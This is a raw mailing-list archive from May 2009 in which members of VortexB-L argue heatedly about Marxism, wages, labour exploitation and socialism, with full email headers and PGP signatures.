23=2C 2009 at 11=3A09 PM=2C Harry Veeder =3Chveeder=40n= cf=2Eca=3E = wrote=3A =3E = =3E =3E =3E =3E I am considering the consequences of refusing=2C =3E =3E and the consequences don=27t have to be brutal =3E =3E to be detremental=2E =3E =3E Harry =3E =3E =3E =3E ----- Original Message ----- =3E =3E From=3A Charles HOPE =3Clookslikeiwasright=40gmail=2Ecom=3E =3E =3E Date=3A Saturday=2C May 23=2C 2009 10=3A48 pm =3E =3E Subject=3A Re=3A =5BVoB=5D=3ARe=3A This is VortexB-L=2E=2E=2E =3E =3E =3E =3E =3E Does it matter why the person would be worse off for refusing= =3F =3E =3E =3E Are you =3E =3E =3E recognizing a difference between agency and circumstance=3B t= he =3E =3E =3E differencebetween me putting a gun to your head and informing= you =3E =3E =3E that I=27ll kill you =3E =3E =3E if you turn down the deal=2C versus the deal simply being the= best =3E =3E =3E of all your =3E =3E =3E options=3F =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E On Sat=2C May 23=2C 2009 at 10=3A23 PM=2C Harry Veeder =3Chve= eder=40ncf=2Eca=3E =3E =3E wrote=3A =3E =3E =3E =3E =3E =3E =3E I would say=2C all things being equal=2C it boils down to= the = =3E right to =3E =3E =3E =3E refuse the transaction and NOT BE WORSE OFF for having re= fused=2E =3E =3E =3E =3E =3E =3E =3E =3E Harry =3E =3E =3E =3E =3E =3E =3E =3E ----- Original Message ----- =3E =3E =3E =3E From=3A Charles HOPE =3Clookslikeiwasright=40gmail=2Ecom=3E= =3E =3E =3E =3E Date=3A Saturday=2C May 23=2C 2009 1=3A43 am =3E =3E =3E =3E Subject=3A Re=3A =5BVoB=5D=3ARe=3A This is VortexB-L=2E=2E= =2E =3E =3E =3E =3E =3E =3E =3E =3E =3E What does bargaining power mean in this case=3F =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E On Sat=2C May 23=2C 2009 at 1=3A33 AM=2C Harry Veeder= = =3Chveeder=40ncf=2Eca=3E =3E =3E =3E wrote=3A=3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E ----- Original Message ----- =3E =3E =3E =3E =3E =3E From=3A Charles HOPE =3Clookslikeiwasright=40gmai= l=2Ecom=3E =3E =3E =3E =3E =3E =3E Date=3A Friday=2C May 22=2C 2009 2=3A18 pm =3E =3E =3E =3E =3E =3E Subject=3A Re=3A =5BVoB=5D=3ARe=3A This is Vortex= B-L=2E=2E=2E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E I perceive the gap to be that grok recognizes= value as =3E =3E =3E objective=2C=3E =3E =3E =3E while Jeff =3E =3E =3E =3E =3E =3E =3E Fink recognizes value to be subjective=2E In= the former = =3E case=2C=3E =3E =3E =3E economic=3E =3E transactions are inherently ze= ro-sum and = =3E exploitive=2C=3E =3E =3E =3E whereas in =3E =3E =3E =3E =3E =3E =3E the latter =3E =3E =3E =3E =3E =3E =3E case they are positive sum and mutually benef= icial=2E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E =3E Both parties to a transaction must enjoy equal = =3E bargaining power =3E =3E =3E =3E =3E for it =3E =3E =3E =3E =3E =3E to be mutually beneficial=2C but in general such = situations =3E =3E =3E are more =3E =3E =3E =3E =3E =3E theoretical than real=2E =3E =3E =3E =3E =3E =3E Harry =3E =3E =3E =3E =3E = =3E = =3E -- = =3E Never did I see a second sun =3E Never did my skin touch a land of glass =3E Never did my rifle point but true =3E But in a land empty of enemies =3E Waiting for the tick-tick-tick of the want =3E A uranium angel =3E Crying =93behold=2C=94 =3E This land that knew fire is yours =3E Taken from Corruption =3E To begin anew =3E From vortexb-l-request@eskimo.com Sat May 23 20:34:09 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4O3Y4Wc000984; Sat, 23 May 2009 20:34:08 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4O3Y0AW000953; Sat, 23 May 2009 20:34:00 -0700 Resent-Date: Sat, 23 May 2009 20:34:00 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sat, 23 May 2009 20:33:55 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Message-ID: <20090524033355.GH4017@shell.resist.ca> Reply-To: grok@resist.ca References: <1fc2841f5995.1f59951fc284@ncf.ca> <20090524025601.GA4017@shell.resist.ca> <63ffa6020905232000l64d003f9uf9cebd99e89199b8@mail.gmail.com> <20090524030959.GE4017@shell.resist.ca> <63ffa6020905232014l4b61b7d8j23e9049909909b7a@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020905232014l4b61b7d8j23e9049909909b7a@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: GAFE, HMS, TDR, H5N1, Admiral Kuznetsov User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4108 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 350 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > Do all workers get slave wages? Why does anybody earn a penny more than the > legal minimum wage? Partly that has to do with the state of the labor market -- aside from legislation. Then there is the historical Post-war bribe that e.g. north american workers got to keep them from 'going commie' (propaganda and oppression was never enuff, eh..?) But if you are honest, you will admit that not only have wages in the U.S. been falling for decades -- the pace is accelerating swiftly now. And then there are all those (ppft) "Right to Work" states, aren't there..? You want me to go on? Of COURSE you do! :> - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoYwCMACgkQXo3EtEYbt3HBawCg3C7HTwJDsq8u63jYaq+cNSl7 ggMAniCV4nSWX0ebHDPPjnAHDwofPcMV =olLA -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sat May 23 20:45:08 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4O3j60l004837; Sat, 23 May 2009 20:45:06 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4O3j5sh004825; Sat, 23 May 2009 20:45:05 -0700 Resent-Date: Sat, 23 May 2009 20:45:05 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sat, 23 May 2009 20:44:55 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Message-ID: <20090524034455.GI4017@shell.resist.ca> Reply-To: grok@resist.ca References: <1f96db1fbd9a.1fbd9a1f96db@ncf.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: <1f96db1fbd9a.1fbd9a1f96db@ncf.ca> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: GAFE, HMS, TDR, H5N1, Admiral Kuznetsov User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4109 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 351 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Harry Veeder mounted the barricade and roared out: > > > I would say, all things being equal, it boils down to the right to refuse the > > > transaction and NOT BE WORSE OFF for having refused. > > > > > > Harry > > > > Which is generally NOT the case for workers, n'est-ce pas? > > > > - -- grok. > > I don't know. > Harry I find that hard to believe, frankly. It's very simple: workers have to work -- or they starve. They generally don't own land to cultivate (even recent historical "prosperity" has been in large part a Post-war attempt by the ruling-class to lower Western workers' class-consciousness -- besides being an important side-effect of the recently deceased "Fordist" model of industrial and labor market organization); and workers do not own much or any 'means of production' either. Nor much capital. So they either work -- or they starve. Except we have FDR's 'New Deal' legacy 'Social Security' to fall back on now... Except that *Guess Who* has been trying to destroy _exactly that_ in the past few decades: and FULLY intends to administer the coup de grâce under this scumbag Democrat Wall St. stooge, "Barry" Obama. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoYwrcACgkQXo3EtEYbt3HseACeNdl9But29Z37CVulg2e4KILD 3QIAnjTR+BHdKTsmiqsXRmwULuX7+8PR =QRUi -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sat May 23 20:52:01 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4O3pw5G006585; Sat, 23 May 2009 20:51:58 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4O3pvrQ006578; Sat, 23 May 2009 20:51:57 -0700 Resent-Date: Sat, 23 May 2009 20:51:57 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sat, 23 May 2009 20:51:52 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:China vs. US Message-ID: <20090524035152.GJ4017@shell.resist.ca> Reply-To: grok@resist.ca References: <4A1716CB.BA9B4CA@centurytel.net> <63ffa6020905222009y4f4dc295j3ccf271ad8b0f97a@mail.gmail.com> <20090523052600.GH15700@shell.resist.ca> <63ffa6020905222242p5d4c4441hd889a381008bd4f@mail.gmail.com> <20090523060453.GA30684@shell.resist.ca> <63ffa6020905231044t5e71b302p344385b6bb526f4@mail.gmail.com> <20090523204852.GA10781@shell.resist.ca> <63ffa6020905231941ob67926ag2959d533b5647f75@mail.gmail.com> <20090524025800.GB4017@shell.resist.ca> <63ffa6020905232016u18017djbd2c047047edfbf0@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020905232016u18017djbd2c047047edfbf0@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: GAFE, HMS, TDR, H5N1, Admiral Kuznetsov User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: <9pQ-i.A.smB.dRMGKB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4110 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 352 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > If that's the best you can do, when confronted by somebody who's not > resorting to ad hominem attacks but is willing to discuss the issues in a > rational manner, I suppose I win. You're funny, Charles. You know that? Hey -- that was me AGREEING with you on what you said, OK? So we know that 'utility' is _use-value_. And that's a marxist concept (not exclusively, of course). But Chuckie; this then begs the question: where do these useful commodities COME from..? And how do we compare their _exchange-values_, equivalent for equivalent..? I'm sure you have an opinion on this. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoYxFgACgkQXo3EtEYbt3G/ngCeNb3tXC/GeoSTP9tV3jSOStZ3 W9YAn0eF+bXoMih/NQsqkVfEbgDvP++U =qskv -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sat May 23 20:57:27 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4O3vIkS007378; Sat, 23 May 2009 20:57:19 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4O3vHPQ007362; Sat, 23 May 2009 20:57:17 -0700 Resent-Date: Sat, 23 May 2009 20:57:17 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sat, 23 May 2009 20:57:07 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Message-ID: <20090524035707.GK4017@shell.resist.ca> Reply-To: grok@resist.ca References: <1fc2841f5995.1f59951fc284@ncf.ca> <63ffa6020905231948l4651ede4w6288c3114d14cca8@mail.gmail.com> <20090524030427.GD4017@shell.resist.ca> <63ffa6020905232010x15060f04w2ddcde15c26e4a33@mail.gmail.com> <20090524032722.GF4017@shell.resist.ca> <63ffa6020905232030o6482c232qafb755f50363c162@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020905232030o6482c232qafb755f50363c162@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: GAFE, HMS, TDR, H5N1, Admiral Kuznetsov User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4111 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 353 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > Because where are the guns? People are arrested for unemployment? You're > making no sense! Some guns are *metaphorical* here, Chuck. They're implied. They're bulges inside company goons' coat pockets. Man, but you're being obtuse on purpose: you know damned well that people "allow" themselves to be exploited because they see few other opportunities to make _any_ living. Stop it, OK? But as for the REAL guns: I'm expecting the first massacre in recent times in a labor struggle in the U.S. fairly soon. And then what will people like you say. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoYxZMACgkQXo3EtEYbt3G0GgCgyGBGXUh0pVNVJeDxg4UrmIF9 6EEAoMJmp4LVpvT4qjDTC+fzy50yn5ct =D4U6 -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sat May 23 20:58:08 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4O3w6bU007387; Sat, 23 May 2009 20:58:06 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4O3w1Rq007361; Sat, 23 May 2009 20:58:01 -0700 Resent-Date: Sat, 23 May 2009 20:58:01 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sat, 23 May 2009 20:57:57 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... Message-ID: <20090524035757.GL4017@shell.resist.ca> Reply-To: grok@resist.ca References: <1fbeca1f53f8.1f53f81fbeca@ncf.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <1fbeca1f53f8.1f53f81fbeca@ncf.ca> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: GAFE, HMS, TDR, H5N1, Admiral Kuznetsov User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4112 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 354 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Harry Veeder mounted the barricade and roared out: > The innocent bystander argument? Run that past us, please..? - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoYxcUACgkQXo3EtEYbt3HEzwCgusKVhwh0CnpCQ4aNVJVKH1Yr a00An1uTVMwBLzt/zLFBuonMQ9/8Rwmc =NkB4 -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sat May 23 21:12:43 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n4O4CfoV011357; Sat, 23 May 2009 21:12:41 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n4O4CePo011349; Sat, 23 May 2009 21:12:40 -0700 Resent-Date: Sat, 23 May 2009 21:12:40 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sat, 23 May 2009 21:12:35 -0700 From: grok To: vortexb-l@eskimo.com Message-ID: <20090524041235.GM4017@shell.resist.ca> Reply-To: grok@resist.ca MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: GAFE, HMS, TDR, H5N1, Admiral Kuznetsov User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: <8tGxU.A.NxC.4kMGKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4113 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:A liberal ekonomist's column worth reading regularly. Status: O X-Status: X-Keywords: X-UID: 355 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 This guy is on the ball. And he's not even a marxist (but he knows a lot of Marx) -- he was Dennis Kucinich's 'go-to' guy on ekonomix -- so it's safe to read him! ;P - -- grok. THE LATEST IN JUNK ECONOMICS THE TOLL BOOTH ECONOMY By Michael Hudson: - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoYyTMACgkQXo3EtEYbt3H/xwCgjgCjXxT7fBRInR3NhTcqWcar wlIAoJnALWef81YCKDRPkEsN3+um6NDx =+dkR -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sat May 23 21:30:44 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4O4Ufk3011683; Sat, 23 May 2009 21:30:42 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4O4UfNH011676; Sat, 23 May 2009 21:30:41 -0700 Resent-Date: Sat, 23 May 2009 21:30:41 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=EKUKPtLdTD6d8hd9hvanCrYeoFNRb22EgyYZJgb798g=; b=UX3cwWqlUPmPiJd00tmyUsJml7Mm+Kgz0mC2RwNDvabs5Q/Te7r9estGfTTON4tO7n 4ZT/oLOyZnoAe1e7egkZUn6o4UAVkzeNL9e60Dolvy9V9k77D2Lt+rRYhNsQsAvxYuyT /n4N0K9AKPNm+qkm/cZ3Y7Hkhw2XMi5nE2Lw8= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=euxp4kU0sNtOzfRjhIMg5B66cIlbHNwzW9ylzuLn6Q24YgjH13cwa61wyxLlM0lkN+ nu9JFtXmutmk7Hsvv4nUrVv03dbtSJdBq2lsVkP8p8n+atnpMovWkkJuUnKcIh7Fxu7s 3gOV+13kxREZoH4GR9TGgKGp1JPcTOeiYcHyo= MIME-Version: 1.0 In-Reply-To: <20090524035707.GK4017@shell.resist.ca> References: <1fc2841f5995.1f59951fc284@ncf.ca> <63ffa6020905231948l4651ede4w6288c3114d14cca8@mail.gmail.com> <20090524030427.GD4017@shell.resist.ca> <63ffa6020905232010x15060f04w2ddcde15c26e4a33@mail.gmail.com> <20090524032722.GF4017@shell.resist.ca> <63ffa6020905232030o6482c232qafb755f50363c162@mail.gmail.com> <20090524035707.GK4017@shell.resist.ca> From: Charles HOPE Date: Sun, 24 May 2009 00:30:20 -0400 Message-ID: <63ffa6020905232130n2cbb4906lf75986dce1784541@mail.gmail.com> Subject: Re: [VoB]:Re: This is VortexB-L... To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=00504502e501bc370b046aa0f46a Resent-Message-ID: <8tQeg.A.R2C.x1MGKB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4114 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 356 --00504502e501bc370b046aa0f46a Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Sounds like people taking the best opportunities they find. This is so different from a gun pointed to the head. Obtuse? On Sat, May 23, 2009 at 11:57 PM, grok wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Charles HOPE > mounted the barricade and roared out: > > > Because where are the guns? People are arrested for unemployment? You'r= e > > making no sense! > > Some guns are *metaphorical* here, Chuck. They're implied. They're bulges > inside > company goons' coat pockets. Man, but you're being obtuse on purpose: you > know damned > well that people "allow" themselves to be exploited because they see few > other > opportunities to make _any_ living. Stop it, OK? > > But as for the REAL guns: I'm expecting the first massacre in recent time= s > in a labor > struggle in the U.S. fairly soon. And then what will people like you say. > > > - -- grok. > > > > > > > > - -- > Build the North America-wide General Strike. > > TODO el poder a los consejos y las comunas. > TOUT le pouvoir aux conseils et communes. > ALL power to the councils and communes. > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.4.9 (GNU/Linux) > > iEYEARECAAYFAkoYxZMACgkQXo3EtEYbt3G0GgCgyGBGXUh0pVNVJeDxg4UrmIF9 > 6EEAoMJmp4LVpvT4qjDTC+fzy50yn5ct > =3DD4U6 > -----END PGP SIGNATURE----- > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --00504502e501bc370b046aa0f46a Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Sounds like people taking the best opportunities they find. This is so diff= erent from a gun pointed to the head. Obtuse?



On Sat, May 23, 2009 at 11:57 PM, grok <<= a href=3D"mailto:grok@resist.ca">grok@resist.ca> wrote:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


As the smoke cleared, Charles HOPE <lookslikeiwasright@gmail.com>
mounted the barricade and roared out:

> Because where are the guns? People are arreste= d for unemployment? You're
> making no sense!

Some guns are *metaphorical* here, Chuck. They're implied. They&#= 39;re bulges inside
company goons' coat pockets. Man, but you're being obtuse on purpos= e: you know damned
well that people "allow" themselves to be exploited because they = see few other
opportunities to make _any_ living. Stop it, OK?

But as for the REAL guns: I'm expecting the first massacre in recent ti= mes in a labor
struggle in the U.S. fairly soon. And then what will people like you say.


- -- grok.







- --
Build the North America-wide General Strike.

TODO el poder a los consejos y las comunas.
TOUT le pouvoir aux conseils et communes.
ALL power to the councils and communes.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkoYxZMACgkQXo3EtEYbt3G0GgCgyGBGXUh0pVNVJeDxg4UrmIF9
6EEAoMJmp4LVpvT4qjDTC+fzy50yn5ct
=3DD4U6
-----END PGP SIGNATURE-----




--
Never did I see a secon= d sun
Never did my skin touch a land of glass
Never did my rifle poin= t but true
But in a land empty of enemies
Waiting for the tick-tick-t= ick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--00504502e501bc370b046aa0f46a-- From vortexb-l-request@eskimo.com Sat May 23 21:32:31 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n4O4WUAN011916; Sat, 23 May 2009 21:32:30 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n4O4WTZk011906; Sat, 23 May 2009 21:32:29 -0700 Resent-Date: Sat, 23 May 2009 21:32:29 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <4A18CDBC.6020407@usfamily.net> Date: Sat, 23 May 2009 23:31:57 -0500 (CDT) From: thomas malloy User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: [VoB]:Re: This is VortexB-L... References: <20090521172625.GC1262@shell.resist.ca> <20090521180408.GD1262@shell.resist.ca> <20090521192649.GA27687@shell.resist.ca> <20090521202742.GF27687@shell.resist.ca> <20090521224840.GI27687@shell.resist.ca> <20090522015232.GG29458@shell.resist.ca> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4115 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 357 OrionWorks wrote: >To Grok > > >>>"Congenital class issue"??? What a mouthful. What does it mean? >>>...economic/social/ ??? what? >>> >>> >>For marxists, class is fundamentally about people's relationship >>to the existing means of production, and otherwise beyond that to >>their relations with each other. So >>it's all ekonomik AND social. >> >> >> >>If you cannot or are unwilling to agree to the most basic forms of >>common courtesy in our exchanges I have no interest in furthering my >>attempts to learn something from you. Life's too short to waste in >>pointless "circling". >> >>The ball is in your court. >> >> Good response Steven. I've concluded that there is no point in discussing things with The Troll. He (?), sees the world through Marxist glasses. I've started deleting his posts, and ignore him. With the exception of when other Vortexians quote him, of course. This evening I was reading Richard Wormbrand's Tortured For Christ. He was describing how the Russian Soviet system poisoned humanity. The Troll may deny it, but the Soviet System is the end product, the inevitable result of, Marxism. Wormbrand also describes how the Russian soldiers who occupied Romania were like dehydrated plant matter which attracts water. That water was the salvation message of the Gospel. Unfortunately there are two schools of Socialist thought: revolutionary socialism, Marxism, and gradualist socialism, Fabianism. Marxism produced dictators, Stalin, Mao, Pol Pot, and Nicoli Chauchesku. Chauchesku who ruled Romania with an iron boot until he was deposed, was responsible for Pastor Wormbrand's 14 years of torment. IMHO, the Romanian people did the right thing with the deposed dictator Chauchesku, they executed him. Wormbrand recommends that we pray for them, which is a very difficult hurdle to overcome. Gradualist socialism sent it's disciples into the universities. They took over them about 100 years ago. They quickly took over certain professions, legal and psychological, and religious in particular. Sixty years ago they instituted separation of church and state, as they define it. The educational system, as defined in terms of quality of education produced, went into a decline. It resulted in the election of 2008. It's rather like watching the Titanic sink in slow motion. The other thing that comes to mind is Brave New World. Since Socialism is G-dless, another aspect of this is evolution. One of my brothers watched Ben Stein's Expelled, No Intelligence allowed. 